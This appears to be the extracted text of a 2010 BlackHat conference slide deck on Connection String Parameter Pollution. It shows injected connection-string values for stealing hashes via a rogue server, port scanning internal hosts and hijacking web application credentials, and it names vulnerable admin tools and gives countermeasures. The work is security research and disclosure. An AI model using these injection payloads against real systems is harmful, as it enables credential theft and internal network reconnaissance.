43
p Chema Alonso Informática 64 Chema Alonso & Palako Informática 64

Connection String Parameter Pollution Attacks

Embed Size (px)

DESCRIPTION

Talk delivered by Chema Alonso and Jose Palazon "Palako" in BlackHat DC 2010 about Connection String Injection Parameter Pollution attacks.

Citation preview

Page 1: Connection String Parameter Pollution Attacks

p

Chema AlonsoInformática 64Chema Alonso & PalakoInformática 64

Page 2: Connection String Parameter Pollution Attacks

Connection Strings

• Define the way an application connects to data repository

• There are connection strings for:– Relational Databases (MSSQL, Oracle, MySQL,…)– LDAP Directories– Files – Etc…

Page 3: Connection String Parameter Pollution Attacks

Databases Connection Strings

Data Source = myServerAddress;Initial Catalog = myDataBase;User Id = myUsername;Password = myPassword;

Page 4: Connection String Parameter Pollution Attacks

DB Connection build up

Page 5: Connection String Parameter Pollution Attacks

Google Hacking

Page 6: Connection String Parameter Pollution Attacks

Google Hacking

Page 7: Connection String Parameter Pollution Attacks

UDL (Universal Data Links) Files

Page 8: Connection String Parameter Pollution Attacks

How Webapp connects to DB

Operating System AccountsData Source =

myServerAddress;Initial Catalog = myDataBase;User Id =;Password =;Integrated Security =

SSPI/True/Yes;

Database CredentialsData Source =

myServerAddress;Initial Catalog = myDataBase;User Id = myUsername;Password = myPassword;Integrated Security = No;

Page 9: Connection String Parameter Pollution Attacks

Syslogins

Custom users table

Connection string

1.- Web applicaton connects using its credentials to the database.

2.- Asks user login information.

3.- Checks login information about info stored in custom users table.

Select id from users

Web application manages the login process

Users authenticated by Web App

Database Engine App running on Web Server

Page 10: Connection String Parameter Pollution Attacks

Syslogins Connection string

1.- Web application asks for credentials.

2.- A connection string is composed with the credentials to connect to the database.

3.- Roles and permits are limited by the user used in the connection string

Database engine manages the login process

Users autheticated by Database

Database Engine App running on Web Server

Page 11: Connection String Parameter Pollution Attacks

Connection String Attacks

• It´s possible to inject parameters into connection strings using semi colons as a separator

Data Source = myServerAddress;Initial Catalog = myDataBase;Integrated Security = NO;User Id = myUsername;Password = myPassword; Encryption = Off;

Page 12: Connection String Parameter Pollution Attacks

ConnectionStringBuilder

• Available in .NET Framework 2.0• Build secure connection strings using parameters• It´s not possible to inject into the connection string

Page 13: Connection String Parameter Pollution Attacks

Are people aware of this?

Page 14: Connection String Parameter Pollution Attacks

Connection String Parameter Pollution

• The goal is to inject parameters in the connection string, whether they exist or not

• Had duplicated a parameter, the last value wins

• This behavior allows attackers to overwrite completely the connection string, therefore to manipulate the way the application will work and how should be the it authenticated

Page 15: Connection String Parameter Pollution Attacks

DBConnection Object

Pollutionable Behavior

Param1

Param2

Param1=Value A Param2=Value B Param1=Value C Param2=Value D

Page 16: Connection String Parameter Pollution Attacks

What can be done with CSPP?Overwrite a parameter

DBConnection ObjectDataSource

UID

Data Source=DB1 UID=sa Data Source=DB2

password

password=Pwnd!

Page 17: Connection String Parameter Pollution Attacks

Scanning the DMZ

Development Database 1

Finnacial Database

Test Database

Forgotten Database

FWWeb app

vulnerable to CSPP

Internet Production Database

DataSource

Page 18: Connection String Parameter Pollution Attacks

Port Scanning a Server

FW

Web app vulnerable

to CSPP

Internet Production Database

Server

DB1,80DB1,21DB1,25

DB1,1445

DataSource

Page 19: Connection String Parameter Pollution Attacks

What can be done with CSPP?Add a parameter

DBConnection Object

DataSource

UID

Data Source=DB1 UID=sa Integrated Security=True

password

password=Pwnd!

Page 20: Connection String Parameter Pollution Attacks

CSPP Attack 1: Hash stealing

1.- Run a Rogue Server on an accessible IP address:Rogue_Server

2.- Activate a sniffer to catch the login processCain/Wireshark

3.- Overwrite Data Source parameterData_Source=Rogue_Server

4.- Force Windows Integrated AuthenticationIntegrated Security=true

Page 21: Connection String Parameter Pollution Attacks

CSPP Attack 1: Hash stealing

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Rogue_Server; Password=;Integrated Security=True;

Page 22: Connection String Parameter Pollution Attacks

CSSP 1:ASP.NET Enterprise Manager

Page 23: Connection String Parameter Pollution Attacks

CSPP Attack 2: Port Scanning

1.- Duplicate the Data Source parameter setting the Target server and target port to be scanned. Data_Source=Target_Server,target_Port

2.- Check the error messages:- No TCP Connection -> Port is closed- No SQL Server -> Port is open- Invalid Password -> SQL Server there!

Page 24: Connection String Parameter Pollution Attacks

CSPP Attack 2: Port Scanning

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Target_Server, Target_Port; Password=;Integrated Security=True;

Page 25: Connection String Parameter Pollution Attacks

CSPP 2: myLittleAdmin

Port is Open

Page 26: Connection String Parameter Pollution Attacks

CSPP 2: myLittleAdmin

Port is Closed

Page 27: Connection String Parameter Pollution Attacks

CSPP Attack 3: Hijacking Web Credentials

1.- Duplicate Data Source parameter to the target SQL ServerData_Source=Target_Server

2.- Force Windows Authentication Integrated Security=true

3.- Application pool in which the web app is running on will send its credentials in order to log in to the database engine.

Page 28: Connection String Parameter Pollution Attacks

CSPP Attack 3: Hijacking Web Credentials

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Target_Server; Password=;Integrated Security=true;

Page 29: Connection String Parameter Pollution Attacks

CSPP Attack 3: Web Data Administrator

Page 30: Connection String Parameter Pollution Attacks

CSPP Attack 3: myLittleAdmin/myLittleBackup

Page 31: Connection String Parameter Pollution Attacks

CSPP Attack 3: ASP.NET Enterprise Manager

Page 32: Connection String Parameter Pollution Attacks

Other Databases• MySQL

– Does not support Integrated security– It´s possible to manipulate the behavior of the web application, although

• Port Scanning• Connect to internal/testing/for developing Databases• Steal credentials

• Oracle supports integrated authority running on Windows and UNIX/Linux servers– It´s possible to perform all described attacks

• Hash stealing• Port Scanning• Hijacking Web credentials

– Also it´s possible to elevate a connection to sysdba in order to shutdown/startup an instance

Page 33: Connection String Parameter Pollution Attacks

DemoDemo

Page 34: Connection String Parameter Pollution Attacks

Scanner

• Proof of concept to test your network• Try a hijacking web credentials attack• Written in ASP.NET C#• Free download (code include of course)http://www.informatica64.com/csppScanner.aspx

Page 35: Connection String Parameter Pollution Attacks

CSPP Scanner

Page 36: Connection String Parameter Pollution Attacks

Scanner CSPP: Attacks

Page 37: Connection String Parameter Pollution Attacks

DemoDemo

Page 38: Connection String Parameter Pollution Attacks

myLittleAdmin/myLittleBackup

myLittleTools released a secury advisory and a patch about this

Page 39: Connection String Parameter Pollution Attacks

ASP.NET Enterprise Manager• ASP.NET Enterprise Manager is “abandoned”, but it´s

still been used in a lot of web Control Panels.

• Fix the code yourself

Page 40: Connection String Parameter Pollution Attacks

ASP.NET Enterprise Manager• ASP.NET Enterprise Manager is “abandoned”, but it´s

still been used in a lot of web Control Panels.

• Fix the code yourself

Page 41: Connection String Parameter Pollution Attacks

ASP.NET Web Data Admistrator

ASP Web Data Administrator is secure in CodePlex web site, but not in Microsoft web site where an unsecure old version is was published

Page 42: Connection String Parameter Pollution Attacks

Countermeasures

• Harden your firewall– Outbound connections

• Review your internal accounts policy– Web application– Web server– Database Engine

• Use ConnectionStringBuilder

• Filter the ;)

Page 43: Connection String Parameter Pollution Attacks

Questions?ContactoChema Alonso [email protected]://www.informatica64.comhttp://elladodelmal.blogspot.comhttp://twitter.com/chemaalonso José Palazón “Palako”[email protected]

AuthorsChema Alonso Manuel Fernández “The Sur”Alejandro Martín BailónAntonio Guzmán